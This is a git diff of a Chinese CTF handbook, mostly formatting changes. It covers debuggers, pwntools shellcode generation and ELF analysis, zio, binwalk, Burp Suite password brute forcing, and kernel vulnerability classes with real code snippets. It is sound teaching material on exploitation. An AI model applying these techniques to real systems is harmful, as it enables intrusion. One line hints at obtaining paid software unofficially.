python myrun(100) ``` -#### 更多资料 -http://ropshell.com/peda/ +### 更多资料 + ## GEF/pwndbg + 除了 PEDA 外还有一些优秀的 gdb 增强工具,特别是增加了一些查看堆的命令,可以看情况选用。 + - [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers - [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy - ## 参考资料 + - [Debugging with GDB](https://sourceware.org/gdb/onlinedocs/gdb/) - [100个gdb小技巧](https://github.com/hellogcc/100-gdb-tips) diff --git a/doc/2.3.2_ollydbg.md b/doc/2.3.2_ollydbg.md index 557f751..c58eae5 100644 --- a/doc/2.3.2_ollydbg.md +++ b/doc/2.3.2_ollydbg.md @@ -4,8 +4,8 @@ - [命令行插件](#命令行插件) - [参考资料](#参考资料) - ## 快捷键 + - `Ctrl`+`F1`:打开与所选行内符号相关的 API 帮助文档。 - `F2`:在光标选定位置按 F2 键设置或取消断点。 - `Shift`+`F2`:在首个选择命令设置条件断点。 @@ -69,8 +69,8 @@ - `:`:添加标签。 - `;`:添加注释。 - ## 命令行插件 ## 参考资料 -- http://www.ollydbg.de/ + +- diff --git a/doc/2.3.3_x64dbg.md b/doc/2.3.3_x64dbg.md index 4b8db04..204b5f7 100644 --- a/doc/2.3.3_x64dbg.md +++ b/doc/2.3.3_x64dbg.md @@ -3,8 +3,8 @@ - [快捷键](#快捷键) - [参考资料](#参考资料) - ## 快捷键 ## 参考资料 -- https://x64dbg.com/#start + +- diff --git a/doc/2.3.4_windbg.md b/doc/2.3.4_windbg.md index 2ac5446..ab3985e 100644 --- a/doc/2.3.4_windbg.md +++ b/doc/2.3.4_windbg.md @@ -4,14 +4,14 @@ - [命令](#命令) - [参考资料](#参考资料) - ## 快捷键 + - F10:单步步过 - F11:单步步入 - Shift+F11:跳出当前函数 - ## 命令 + - 调试 - `t`:单步步入 - `p`:单步步过 @@ -52,6 +52,6 @@ - `u [start]`:从指定位置开始反汇编 - `u [start] [end]`:反汇编指定地址区间 - ## 参考资料 -- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ + +- diff --git a/doc/2.3.5_lldb.md b/doc/2.3.5_lldb.md index f59a557..54cfa5f 100644 --- a/doc/2.3.5_lldb.md +++ b/doc/2.3.5_lldb.md @@ -2,6 +2,6 @@ - [参考资料](#参考资料) - ## 参考资料 + - [The LLDB Debugger](http://lldb.llvm.org/) diff --git a/doc/2.4.1_pwntools.md b/doc/2.4.1_pwntools.md index 94b1d8f..ea30528 100644 --- a/doc/2.4.1_pwntools.md +++ b/doc/2.4.1_pwntools.md @@ -6,12 +6,12 @@ - [Pwntools 在 CTF 中的运用](#pwntools-在-ctf-中的运用) - [参考资料](#参考资料) - Pwntools 是一个 CTF 框架和漏洞利用开发库,用 Python 开发,由 rapid 设计,旨在让使用者简单快速的编写 exp 脚本。包含了本地执行、远程连接读写、shellcode 生成、ROP 链的构建、ELF 解析、符号泄露众多强大功能。 ## 安装 1. 安装binutils: + ```shell git clone https://github.com/Gallopsled/pwntools-binutils sudo apt-get install software-properties-common @@ -19,28 +19,35 @@ Pwntools 是一个 CTF 框架和漏洞利用开发库,用 Python 开发,由 sudo apt-get update sudo apt-get install binutils-arm-linux-gnu ``` + 2. 安装capstone: + ```shell git clone https://github.com/aquynh/capstone cd capstone make sudo make install ``` + 3. 安装pwntools: + ```shell sudo apt-get install libssl-dev sudo pip install pwntools ``` 如果你在使用 Arch Linux,则可以通过 AUR 直接安装,这个包目前是由我维护的,如果有什么问题,欢迎与我交流: -``` + +```text $ yaourt -S python2-pwntools 或者 $ yaourt -S python2-pwntools-git ``` + 但是由于 Arch 没有 PPA 源,如果想要支持更多的体系结构(如 arm, aarch64 等),只能手动编译安装相应的 binutils,使用下面的脚本,注意将变量 `V` 和 `ARCH` 换成你需要的。[binutils](https://ftp.gnu.org/gnu/binutils/)[源码](../src/others/2.4.1_pwntools/binutils.sh) + ```bash #!/usr/bin/env bash @@ -75,6 +82,7 @@ sudo make install ``` 测试安装是否成功: + ```python >>> from pwn import * >>> asm('nop') @@ -83,11 +91,12 @@ sudo make install '\x00\xf0 \xe3' ``` - ## 模块简介 + Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import *` 即可将所有子模块和一些常用的系统库导入到当前命名空间中,是专门针对 CTF 比赛的;而另一个模块是 `pwnlib`,它更推荐你仅仅导入需要的子模块,常用于基于 pwntools 的开发。 下面是 pwnlib 的一些子模块(常用模块和函数加粗显示): + - `adb`:安卓调试桥 - `args`:命令行魔法参数 - **`asm`**:汇编和反汇编,支持 i386/i686/amd64/thumb 等 @@ -103,7 +112,7 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import - `libcdb`:libc 数据库 - `log`:日志记录 - **`memleak`**:用于内存泄露 -- **`rop`**:ROP 利用模块,包括 rop 和 srop +- **`rop`**:ROP 利用模块,包括 rop 和 srop - `runner`:运行 shellcode - **`shellcraft`**:shellcode 生成器 - `term`:终端处理 @@ -113,14 +122,16 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import - `useragents`:useragent 字符串数据库 - **`util`**:一些实用小工具 - ## 使用 Pwntools + 下面我们对常用模块和函数做详细的介绍。 -#### tubes +### tubes + 在一次漏洞利用中,首先当然要与二进制文件或者目标服务器进行交互,这就要用到 tubes 模块。 主要函数在 `pwnlib.tubes.tube` 中实现,子模块只实现某管道特殊的地方。四种管道和相对应的子模块如下: + - `pwnlib.tubes.process`:进程 - `>>> p = process('/bin/sh')` - `pwnlib.tubes.serialtube`:串口 @@ -131,6 +142,7 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import - `>>> s = ssh(host='example.com`, user='name', password='passwd')` `pwnlib.tubes.tube` 中的主要函数: + - `interactive()`:可同时读写管道,相当于回到 shell 模式进行交互,在取得 shell 之后调用 - `recv(numb=1096, timeout=default)`:接收指定字节数的数据 - `recvall()`:接收数据直到 EOF @@ -142,6 +154,7 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import - `close()`:关闭管道 下面是一个例子,先使用 listen 开启一个本地的监听端口,然后使用 remote 开启一个套接字管道与之交互: + ```text >>> from pwn import * >>> l = listen() @@ -184,6 +197,7 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import ``` 下面是一个与进程交互的例子: + ```text >>> p = process('/bin/sh') [x] Starting local process '/bin/sh' @@ -205,9 +219,11 @@ firmy [*] Stopped process '/bin/sh' (pid 26481) ``` -#### shellcraft +### shellcraft + 使用 shellcraft 模块可以生成对应架构和 shellcode 代码,直接使用链式调用的方法就可以得到,首先指定体系结构,再指定操作系统: -``` + +```text >>> print shellcraft.i386.nop().strip('\n') nop >>> print shellcraft.i386.linux.sh() @@ -235,12 +251,14 @@ firmy int 0x80 ``` -#### asm +### asm + 该模块用于汇编和反汇编代码。 体系结构,端序和字长需要在 `asm()` 和 `disasm()` 中设置,但为了避免重复,运行时变量最好使用 `pwnlib.context` 来设置。 汇编:(`pwnlib.asm.asm`) + ```text >>> asm('nop') '\x90' @@ -257,15 +275,18 @@ ContextType(arch = 'arm', bits = 32, endian = 'little', os = 'linux') >>> asm('nop') '\x00\xf0 \xe3' ``` -``` + +```text >>> asm('mov eax, 1') '\xb8\x01\x00\x00\x00' >>> asm('mov eax, 1').encode('hex') 'b801000000' ``` + 请注意,这里我们生成了 i386 和 arm 两种不同体系结构的 `nop`,当你使用不同与本机平台的汇编时,需要安装该平台的 binutils,方法在上面已经介绍过了。 反汇编:(`pwnlib.asm.disasm`) + ```text >>> print disasm('\xb8\x01\x00\x00\x00') 0: b8 01 00 00 00 mov eax,0x1 @@ -277,6 +298,7 @@ ContextType(arch = 'arm', bits = 32, endian = 'little', os = 'linux') ``` 构建具有指定二进制数据的 ELF 文件:(`pwnlib.asm.make_elf`) + ```text >>> context.clear(arch='amd64') >>> context @@ -294,9 +316,11 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little') >>> p.recv() 'hello\n' ``` + 这里我们生成了 amd64,即 64 位 `/bin/sh` 的 shellcode,配合上 asm 函数,即可通过 `make_elf` 得到 ELF 文件。 另一个函数 `pwnlib.asm.make_elf_from_assembly` 允许你构建具有指定汇编代码的 ELF 文件: + ```text >>> asm_sh = shellcraft.amd64.linux.sh() >>> print asm_sh @@ -333,10 +357,13 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little') >>> p.recv() 'hello\n' ``` + 与上一个函数不同的是,`make_elf_from_assembly` 直接从汇编生成 ELF 文件,并且保留了所有的符号,例如标签和局部变量等。 -#### elf +### elf + 该模块用于 ELF 二进制文件的操作,包括符号查找、虚拟内存、文件偏移,以及修改和保存二进制文件等功能。(`pwnlib.elf.elf.ELF`) + ```text >>> e = ELF('/bin/cat') [*] '/bin/cat' @@ -345,18 +372,20 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little') Stack: Canary found NX: NX enabled PIE: PIE enabled ->>> print hex(e.address) +>>> print hex(e.address) 0x400000 ->>> print hex(e.symbols['write']) +>>> print hex(e.symbols['write']) 0x401680 ->>> print hex(e.got['write']) +>>> print hex(e.got['write']) 0x60b070 ->>> print hex(e.plt['write']) +>>> print hex(e.plt['write']) 0x401680 ``` + 上面的代码分别获得了 ELF 文件装载的基地址、函数地址、GOT 表地址和 PLT 表地址。 我们常常用它打开一个 libc.so,从而得到 system 函数的位置,这在 CTF 中是非常有用的: + ```text >>> e = ELF('/usr/lib/libc.so.6') [*] '/usr/lib/libc.so.6' @@ -370,6 +399,7 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little') ``` 我们甚至可以修改 ELF 文件的代码: + ```text >>> e = ELF('/bin/cat') >>> e.read(e.address+1, 3) @@ -381,6 +411,7 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little') ``` 下面是一些常用函数: + - `asm(address, assembly)`:汇编指定指令并插入到 ELF 的指定地址处,需要使用 ELF.save() 保存 - `bss(offset)`:返回 `.bss` 段加上 `offset` 后的地址 - `checksec()`:打印出文件使用的安全保护 @@ -394,7 +425,8 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little') - `debug()`:使用 `gdb.debug()` 进行调试 最后还要注意一下 `pwnlib.elf.corefile`,它用于处理核心转储文件(Core Dump),当我们在写利用代码时,核心转储文件是非常有用的,关于它更详细的内容已经在前面 Linux基础一章中讲过,这里我们还是使用那一章中的示例代码,但使用 pwntools 来操作。 -``` + +```text >>> core = Corefile('/tmp/core-a.out-30555-1507796886') [x] Parsing corefile... [*] '/tmp/core-a.out-30555-1507796886' @@ -410,13 +442,13 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little') 565cd000-565ce000 r-xp 1000 /home/firmy/a.out 565ce000-565cf000 r--p 1000 /home/firmy/a.out 565cf000-565d0000 rw-p 1000 /home/firmy/a.out -57b3c000-57b5e000 rw-p 22000 +57b3c000-57b5e000 rw-p 22000 f7510000-f76df000 r-xp 1cf000 /usr/lib32/libc-2.26.so f76df000-f76e0000 ---p 1000 /usr/lib32/libc-2.26.so f76e0000-f76e2000 r--p 2000 /usr/lib32/libc-2.26.so f76e2000-f76e3000 rw-p 1000 /usr/lib32/libc-2.26.so -f76e3000-f76e6000 rw-p 3000 -f7722000-f7724000 rw-p 2000 +f76e3000-f76e6000 rw-p 3000 +f7722000-f7724000 rw-p 2000 f7724000-f7726000 r--p 2000 [vvar] f7726000-f7728000 r-xp 2000 [vdso] f7728000-f774d000 r-xp 25000 /usr/lib32/ld-2.26.so @@ -431,22 +463,26 @@ ffe37000-ffe58000 rw-p 21000 [stack] f7510000-f76df000 r-xp 1cf000 /usr/lib32/libc-2.26.so ``` -#### dynelf +### dynelf + `pwnlib.dynelf.DynELF` 该模块是专门用来应对无 libc 情况下的漏洞利用。它首先找到 glibc 的基地址,然后使用符号表和字符串表对所有符号进行解析,直到找到我们需要的函数的符号。这是一个有趣的话题,我们会专门开一个章节去讲解它。详见 *4.4 使用 DynELF 泄露函数地址* -#### fmtstr +### fmtstr + `pwnlib.fmtstr.FmtStr`,`pwnlib.fmtstr.fmtstr_payload` 该模块用于格式化字符串漏洞的利用,格式化字符串漏洞是 CTF 中一种常见的题型,我们会在后面的章节中详细讲述,关于该模块的使用也会留到那儿。详见 *3.3.1 格式化字符串漏洞* -#### gdb +### gdb + `pwnlib.gdb` 在写漏洞利用的时候,常常需要使用 gdb 动态调试,该模块就提供了这方面的支持。 两个常用函数: + - `gdb.attach(target, gdbscript=None)`:在一个新终端打开 gdb 并 attach 到指定 PID 的进程,或是一个 `pwnlib.tubes` 对象。 - `gdb.debug(args, gdbscript=None)`:在新终端中使用 gdb 加载一个二进制文件。 @@ -465,7 +501,7 @@ continue bash.sendline('whoami') ``` -``` +```text # Create a new process, and stop it at 'main' io = gdb.debug('bash', ''' # Wait until we hit the main executable's entry point @@ -479,14 +515,16 @@ continue ''') ``` -#### memleak +### memleak + `pwnlib.memleak` 该模块用于内存泄露的利用。可用作装饰器。它会将泄露的内存缓存起来,在漏洞利用过程中可能会用到。 -#### rop +### rop + +### util -#### util `pwnlib.util.packing`, `pwnlib.util.cyclic` util 其实是一些模块的集合,包含了一些实用的小工具。这里主要介绍两个,packing 和 cyclic。 @@ -494,7 +532,8 @@ util 其实是一些模块的集合,包含了一些实用的小工具。这里 packing 模块用于将整数打包和解包,它简化了标准库中的 `struct.pack` 和 `struct.unpack` 函数,同时增加了对任意宽度整数的支持。 使用 `p32`, `p64`, `u32`, `u64` 函数分别对 32 位和 64 位整数打包和解包,也可以使用 `pack()` 自己定义长度,另外添加参数 `endian` 和 `signed` 设置端序和是否带符号。 -``` + +```text >>> p32(0xdeadbeef) '\xef\xbe\xad\xde' >>> p64(0xdeadbeef).encode('hex') @@ -502,7 +541,8 @@ packing 模块用于将整数打包和解包,它简化了标准库中的 `stru >>> p32(0xdeadbeef, endian='big', sign='unsigned') '\xde\xad\xbe\xef' ``` -``` + +```text >>> u32('1234') 875770417 >>> u32('1234', endian='big', sign='signed') @@ -512,18 +552,19 @@ packing 模块用于将整数打包和解包,它简化了标准库中的 `stru ``` cyclic 模块在缓冲区溢出中很有用,它帮助生成模式字符串,然后查找偏移,以确定返回地址。 -``` + +```text >>> cyclic(20) 'aaaabaaacaaadaaaeaaa' >>> cyclic_find(0x61616162) 4 ``` - ## Pwntools 在 CTF 中的运用 + 可以在下面的仓库中找到大量使用 pwntools 的 write-up: [pwntools-write-ups](https://github.com/Gallopsled/pwntools-write-ups) - ## 参考资料 + - [docs.pwntools.com](https://docs.pwntools.com/en/stable/index.html) diff --git a/doc/2.4.2_zio.md b/doc/2.4.2_zio.md index be1d192..48ae7d8 100644 --- a/doc/2.4.2_zio.md +++ b/doc/2.4.2_zio.md @@ -5,11 +5,12 @@ - [使用方法](#使用方法) - [zio 在 CTF 中的应用](#zio-在-ctf-中的应用) - ## zio 简介 + [zio](https://github.com/zTrix/zio) 是一个易用的 Python io 库,在 Pwn 题目中被广泛使用,zio 的主要目标是在 stdin/stdout 和 TCP socket io 之间提供统一的接口,所以当你在本地完成 利用开发后,使用 zio 可以很方便地将目标切换到远程服务器。 zio 的哲学: + ```python from zio import * @@ -24,6 +25,7 @@ io.interact() ``` 官方示例: + ```python from zio import * io = zio('./buggy-server') @@ -47,51 +49,60 @@ io.interact() 需要注意的的是,zio 正在逐步被开发更活跃,功能更完善的 pwntools 取代,但如果你使用的是 32 位 Linux 系统,zio 可能是你唯一的选择。而且在线下赛中,内网环境通常都没有 pwntools 环境,但 zio 是单个文件,上传到内网机器上就可以直接使用。 - ## 安装 + zio 仅支持 Linux 和 OSX,并基于 python 2.6, 2.7。 -``` + +```text $ sudo pip2 install zio ``` + `termcolor` 库是可选的,用于给输出上色:`$ sudo pip2 install termcolor`。 - ## 使用方法 + 由于没有文档,我们通过读源码来学习吧,不到两千行,很轻量,这也意味着你可以根据自己的需求很容易地进行修改。 总共导出了这些关键字: + ```python __all__ = ['stdout', 'log', 'l8', 'b8', 'l16', 'b16', 'l32', 'b32', 'l64', 'b64', 'zio', 'EOF', 'TIMEOUT', 'SOCKET', 'PROCESS', 'REPR', 'EVAL', 'HEX', 'UNHEX', 'BIN', 'UNBIN', 'RAW', 'NONE', 'COLORED', 'PIPE', 'TTY', 'TTY_RAW', 'cmdline'] ``` zio 对象的初始化定义: + ```python def __init__(self, target, stdin = PIPE, stdout = TTY_RAW, print_read = RAW, print_write = RAW, timeout = 8, cwd = None, env = None, sighup = signal.SIG_DFL, write_delay = 0.05, ignorecase = False, debug = None): ``` + 通常可以这样: + ```python io = zio(target, timeout=10000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green')) ``` 内部函数很多,下面是常用的: + ```python def print_write(self, value): def print_read(self, value): def writeline(self, s = ''): def write(self, s): - + def read(self, size = None, timeout = -1): def readlines(self, sizehint = -1): def read_until(self, pattern_list, timeout = -1, searchwindowsize = None): - + def gdb_hint(self, breakpoints = None, relative = None, extras = None): def interact(self, escape_character=chr(29), input_filter = None, output_filter = None, raw_rw = True): ``` + zio 里的 `read` 和 `write` 对应到 pwntools 里就是 `recv` 和 `send`。 另外是对字符的拆包解包,是对 struct 库的封装: + ```python >>> l32(0xdeedbeaf) '\xaf\xbe\xed\xde' @@ -105,10 +116,12 @@ zio 里的 `read` 和 `write` 对应到 pwntools 里就是 `recv` 和 `send`。 >>> b64(0x4142434445464748) 'ABCDEFGH' ``` + `l` 和 `b` 就是指小端序和大端序。这些函数可以对应 pwntools 里的 `p32()`,`p64()`等。 当然你也可以直接在命令行下使用它: -``` + +```text $ zio -h usage: @@ -129,6 +142,6 @@ options: -l, --delay write delay, time to wait before write ``` - ## zio 在 CTF 中的应用 + 何不把使用 pwntools 的写的 exp 换成 zio 试试呢xD。 diff --git a/doc/2.4.4_binwalk.md b/doc/2.4.4_binwalk.md index 750710b..d252779 100644 --- a/doc/2.4.4_binwalk.md +++ b/doc/2.4.4_binwalk.md @@ -6,49 +6,55 @@ - [实例](#实例) - [参考资料](#参考资料) - ## Binwalk 介绍 + Binwalk 是一个快速,易于使用的工具,用于分析,逆向工程和提取固件映像。 官方给出的用途是提取固件镜像,然而,我们在做一些隐写类的题目的时候,Binwalk 这个工具非常方便。 最好在 *nix 系统下使用,如果你的 Windows 版本是 1703 及以上,那么在 [WSL](https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux) 中安装 binwalk 是个不错的选择。 - ## 安装 + 如果你是在 Ubuntu 下,那么使用下面的命令安装: + ```shell $ sudo apt install binwalk ``` - ## 快速入门 -#### 扫描固件 + +### 扫描固件 + Binwalk 可以扫描许多嵌入式文件类型和文件系统的固件镜像,比如: + ```shell $ binwalk firmware.bin -DECIMAL HEX DESCRIPTION +DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- -0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2" -112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3797616 bytes -1310832 0x140070 PackImg section delimiter tag, little endian size: 13644032 bytes; big endian size: 3264512 bytes -1310864 0x140090 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 3264162 bytes, 1866 inodes, blocksize: 65536 bytes, created: Tue Apr 3 04:12:22 2012 +0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2" +112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3797616 bytes +1310832 0x140070 PackImg section delimiter tag, little endian size: 13644032 bytes; big endian size: 3264512 bytes +1310864 0x140090 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 3264162 bytes, 1866 inodes, blocksize: 65536 bytes, created: Tue Apr 3 04:12:22 2012 ``` -#### 文件提取 +### 文件提取 + 可以使用 binwalk 的 `-e` 参数来提取固件中的文件: + ```shell $ binwalk -e firmware.bin ``` 如果你还指定了 `-M` 选项,binwalk 甚至会递归扫描文件,因为它会提取它们: + ```shell $ binwalk -Me firmware.bin ``` 如果指定了 `-r` 选项,则将自动删除无法提取的任何文件签名或导致大小为 0 的文件: + ```shell $ binwalk -Mre firmware.bin ``` - ## 参考资料 diff --git a/doc/2.4.5_burpsuite.md b/doc/2.4.5_burpsuite.md index 4a24785..486e59f 100644 --- a/doc/2.4.5_burpsuite.md +++ b/doc/2.4.5_burpsuite.md @@ -5,21 +5,22 @@ - [快速入门](#快速入门) - [参考资料](#参考资料) - ## BurpSuite 介绍 + Burp Suite 是一款强大的 Web 渗透测试套件,主要功能包括代理截获、网页爬虫、Web 漏洞扫描、定制化爆破等,结合 Burp 的插件系统,还可以进行更加丰富多样的漏洞发掘。 可以从[官网](https://portswigger.net/burp)获取到社区版的 Burp,社区版的 Burp 有一些功能限制,但是可以通过其他渠道获取到专业版。Burp 使用 Java 语言编程,可以跨平台运行。 - ## 安装 + 在官网上选择适合自己版本的 Burp,官网提供多平台的安装包,在保证系统拥有 Java 环境的基础上,推荐直接下载 Jar file 文件。 下载完成后双击 burpsuite_community_v1.x.xx.jar 即可运行,其他安装方式遵循相关指示安装即可。 - ## 快速入门 -#### proxy + +### proxy + Burp 使用的第一步是实现浏览器到 Burp 的代理,以 Firefox 为例 选择 *选项* ——> *高级* ——> *网络* ——> *连接 设置* ——>配置代理到本机的未占用端口(默认使用 8080 端口) @@ -28,14 +29,16 @@ Burp 使用的第一步是实现浏览器到 Burp 的代理,以 Firefox 为例 在 Firefox 的代理状态下,访问 HTTP 协议的网页即可在Burp中截获交互的报文,可以使用Firefox插件-Toggle Proxy来快速切换代理模式。 -#### HTTPS 下的 proxy(老版本 Burp ) +### HTTPS 下的 proxy(老版本 Burp ) + 新版 Burp(1.7.30)已经不需要单独导入证书即可抓包,而老版 Burp Https 协议需要浏览器导入 Burp 证书才可正常抓包,具体操作见参考文档。 -![](../pic/2.4.5_proxy1.png) +![img](../pic/2.4.5_proxy1.png) -![](../pic/2.4.5_proxy2.png) +![img](../pic/2.4.5_proxy2.png) + +### intruder -#### intruder intruder 常用于口令爆破,当然作为支持批量可编程的网页重发器,它还有许多有趣的玩法。 使用步骤: @@ -48,17 +51,18 @@ intruder 常用于口令爆破,当然作为支持批量可编程的网页重 6. 在子选项栏 “Options” 中可以添加更加复杂的爆破结果匹配模式 7. 选择完成后,点击右上角的 “Start attack” 开始爆破 -![](../pic/2.4.5_intruder1.png) +![img](../pic/2.4.5_intruder1.png) -![](../pic/2.4.5_intruder2.png) +![img](../pic/2.4.5_intruder2.png) -![](../pic/2.4.5_intruder3.png) +![img](../pic/2.4.5_intruder3.png) + +### repeater -#### repeater repeater 用于单一报文的重复发包测试,在 proxy 界面报文包只能发送一次,通过右键 “Send to Repeater” 可以在 repeater 界面反复发包测试。 - ## 参考资料 + - [新手教程](http://www.freebuf.com/articles/web/100377.html) - [Kali 中文网-Burp 教程](http://www.kali.org.cn/forum-80-1.html) - [Burp 测试插件推荐](https://www.waitalone.cn/burpsuite-plugins.html) diff --git a/doc/2.4.7_cuckoo.md b/doc/2.4.7_cuckoo.md index c663bc6..bf4bdff 100644 --- a/doc/2.4.7_cuckoo.md +++ b/doc/2.4.7_cuckoo.md @@ -4,10 +4,10 @@ - [安装](#安装) - [参考资料](#参考资料) - ## 简介 ## 安装 ## 参考资料 -- https://cuckoosandbox.org/ + +- diff --git a/doc/3.1.10_kernel_rop.md b/doc/3.1.10_kernel_rop.md index 55cc356..e6378f8 100644 --- a/doc/3.1.10_kernel_rop.md +++ b/doc/3.1.10_kernel_rop.md @@ -2,7 +2,7 @@ - [参考资料](#参考资料) - ## 参考资料 + - [Linux Kernel ROP - Ropping your way to # (Part 1)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/) - [Linux Kernel ROP - Ropping your way to # (Part 2)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/) diff --git a/doc/3.1.11_linux_kernel_exploit.md b/doc/3.1.11_linux_kernel_exploit.md index 1519055..b92e05c 100644 --- a/doc/3.1.11_linux_kernel_exploit.md +++ b/doc/3.1.11_linux_kernel_exploit.md @@ -5,7 +5,6 @@ - [内核利用方法](#内核利用方法) - [参考资料](#参考资料) - ## 从用户态到内核态 | 企图 | 用户态漏洞利用 | 内核态漏洞利用 | @@ -15,12 +14,14 @@ | 执行 shellcode| shellcode 可以利用已经通过安全和正确性保证的用户态门来进行内核系统调用 | shellcode 在更高的权限级别上执行,并且必须在不惊动系统的情况下正确地返回到应用程序 | | 绕过反漏洞利用保护措施 | 这要求越来越复杂的方法 | 大部分保护措施在内核态,但并不能保护内核本身。攻击者甚至能禁用大部分保护措施 | - ## 内核漏洞分类 -#### 未初始化的、未验证的、已损坏的指针解引用 + +### 未初始化的、未验证的、已损坏的指针解引用 + 这类漏洞涵盖了所有使用指针的情况,所指内容遭到破坏、没有被正确设置、或者是没有做足够的验证。 我们知道一个静态声明的指针被初始化为 NULL,但其他情况下这些指针被明确地赋值之前,都是未初始化的,它的值是存放指针处的内存里的任意内容。例如下面这样,指针被存放在栈上,而它的内容是之前函数留在栈上的 "A" 字符串: + ```c #include #include @@ -41,14 +42,16 @@ int main() { ptr_un_initialized(); } ``` -``` -$ gcc -fno-stack-protector pointer.c -$ ./a.out + +```text +$ gcc -fno-stack-protector pointer.c +$ ./a.out Big stack: 0x7fffd6b0e400 ~ 0x7fffd6b0e500 Pointer value: 0x7fffd6b0e4f8 => 0x4141414141414141 ``` 下面看一个真实的例子,来自 FreeBSD8.0: + ```c struct ucred ucred, *ucp; // [1] [...] @@ -58,7 +61,9 @@ struct ucred ucred, *ucp; // [1] ucred.cr_groups[0] = dp->i_gid; // [2] ucp = &ucred; ``` + [1] 处的 `ucred` 在栈上进行了声明,然后 `cr_groups[0]` 被赋值为 `dp->i_gid`。遗憾的是,`struct ucred` 结构体的定义是这样的: + ```c struct ucred { u_int cr_ref; /* reference count */ @@ -67,11 +72,13 @@ struct ucred { int cr_agroups; /* Available groups */ }; ``` + 我们看到 `cr_groups` 是一个指针,而且没有被初始化就直接使用。这也就意味着,`dp->i_gid` 的值在 `ucred` 被分配时被写入到栈上的任意地址。 继续看未经验证的指针,这往往发生在多用户的内核地址空间中。我们知道内核空间位于用户空间的上面,它的页表在所有进程的页表中都有备份。有些虚拟地址被选做限制地址,限定地址以上或以下的虚拟地址归内核使用,而其他的归用户空间使用。内核函数也就是使用这个限定地址来判断一个指针指向的是内核还是用户空间。如果是前者,则可能只需做少量的验证,但如果是后者,则要格外小心,否则一个用户空间的地址可能在不受控制的情况下被解引用。 看一个 Linux 的例子,CVE-2008-0009: + ```c error = get_user(base, &iov->iov_base); // [1] [...] @@ -93,11 +100,13 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, s [...] } ``` + 代码的第一部分来自函数 `vmsplice_to_user()`,在 [1] 处使用了 `get_user()` 获得了目的指针。该目的指针未经检查就默认它是一个用户地址指针,然后通过 [2] 传递给了 `__splice_from_pipe()`,同时传递函数 `pipe_to_user` 作为 helper function。这个函数依然是未经检查就调用了 `__copy_to_user_inatomic()`[3],对该指针做解引用的操作,如果攻击者传递的是一个内核地址,则利用该漏洞能够写入任意数据到任意的内核内存中。这里要知道的还有 Linux 中以两个下划线开头的函数(例如 `__copy_to_user_inatomic()`)是不会对所提供的目的(或源)用户指针做任何检查的。 最后,一个被损坏的指针往往是其他漏洞的结果(例如缓冲区溢出),攻击者可以任意修改指针的内容,获得更多的控制权。 -#### 内存破坏漏洞 +### 内存破坏漏洞 + 这类漏洞是由于程序的错误操作重写了内核空间的内存(包括内核栈和内核堆)导致的。 内核栈在每次进程进入到内核态时发挥作用。内核栈与用户栈基本相同,但也有一些细小的差别,例如它的大小通常是受限制的。另外,所有进程的内核栈都是一块相同的内核地址空间中的一部分,所以他们开始于不同的虚拟地址并且占据不同的虚拟地址空间。 @@ -106,7 +115,8 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, s 针对内核堆的漏洞往往是缓冲区溢出造成的。通过溢出,重写了溢出块后面的块,或者重写了缓存相关的元数据,都可能造成漏洞利用。 -#### 整数误用 +### 整数误用 + 整数溢出和符号转换错误是最常见的两种整数误用漏洞。这类漏洞往往不容易单独利用,但它可能会导致另外的一些漏洞(例如内存溢出)的发生。 整数溢出发生在将一个超出整数数据存储范围的数赋值给一个整数变量。在不加控制的加法和乘法运算中如果堆参见运算的参数不加验证,也有可能发生整数溢出。 @@ -114,6 +124,7 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, s 符号转换错误发生在将一个无符号数当做有符号数处理的时候。一个经典的场景是,一个有符号数经过某个最大值检测后传入一个函数,而这个函数只接收无符号数。 看一个 FreeBSD V6.0 的例子: + ```c int fw_ioctl (struct cdev *dev, u_long cmd, caddr_t data, int flag, fw_proc *td) { @@ -140,21 +151,27 @@ int fw_ioctl (struct cdev *dev, u_long cmd, caddr_t data, int flag, fw_proc *td) err = copyout(ptr, crom_buf->ptr, len); [4] } ``` + [1] 处的 `len` 是有符号整数,`crom_buf->len` 也是有符号数并且该值是我们可以控制的,如果它被设为一个负数,那么无论 `len` 的值是什么,[3] 处的条件都会满足。然后在 [4] 处,`copyout()` 被调用,该函数原型如下: + ```c int copyout(const void *__restrict kaddr, void *__restrict udaddr, size_t len) __nonnull(1) __nonnull(2); ``` + 第三个参数的类型 `size_t` 是一个无符号整数,所以当 `len` 是一个负数的时候,会被认为是一个很大的正整数,造成任意内核内存读取。 更多内存可以参见章节 3.1.2。 -#### 竞态条件 +### 竞态条件 + 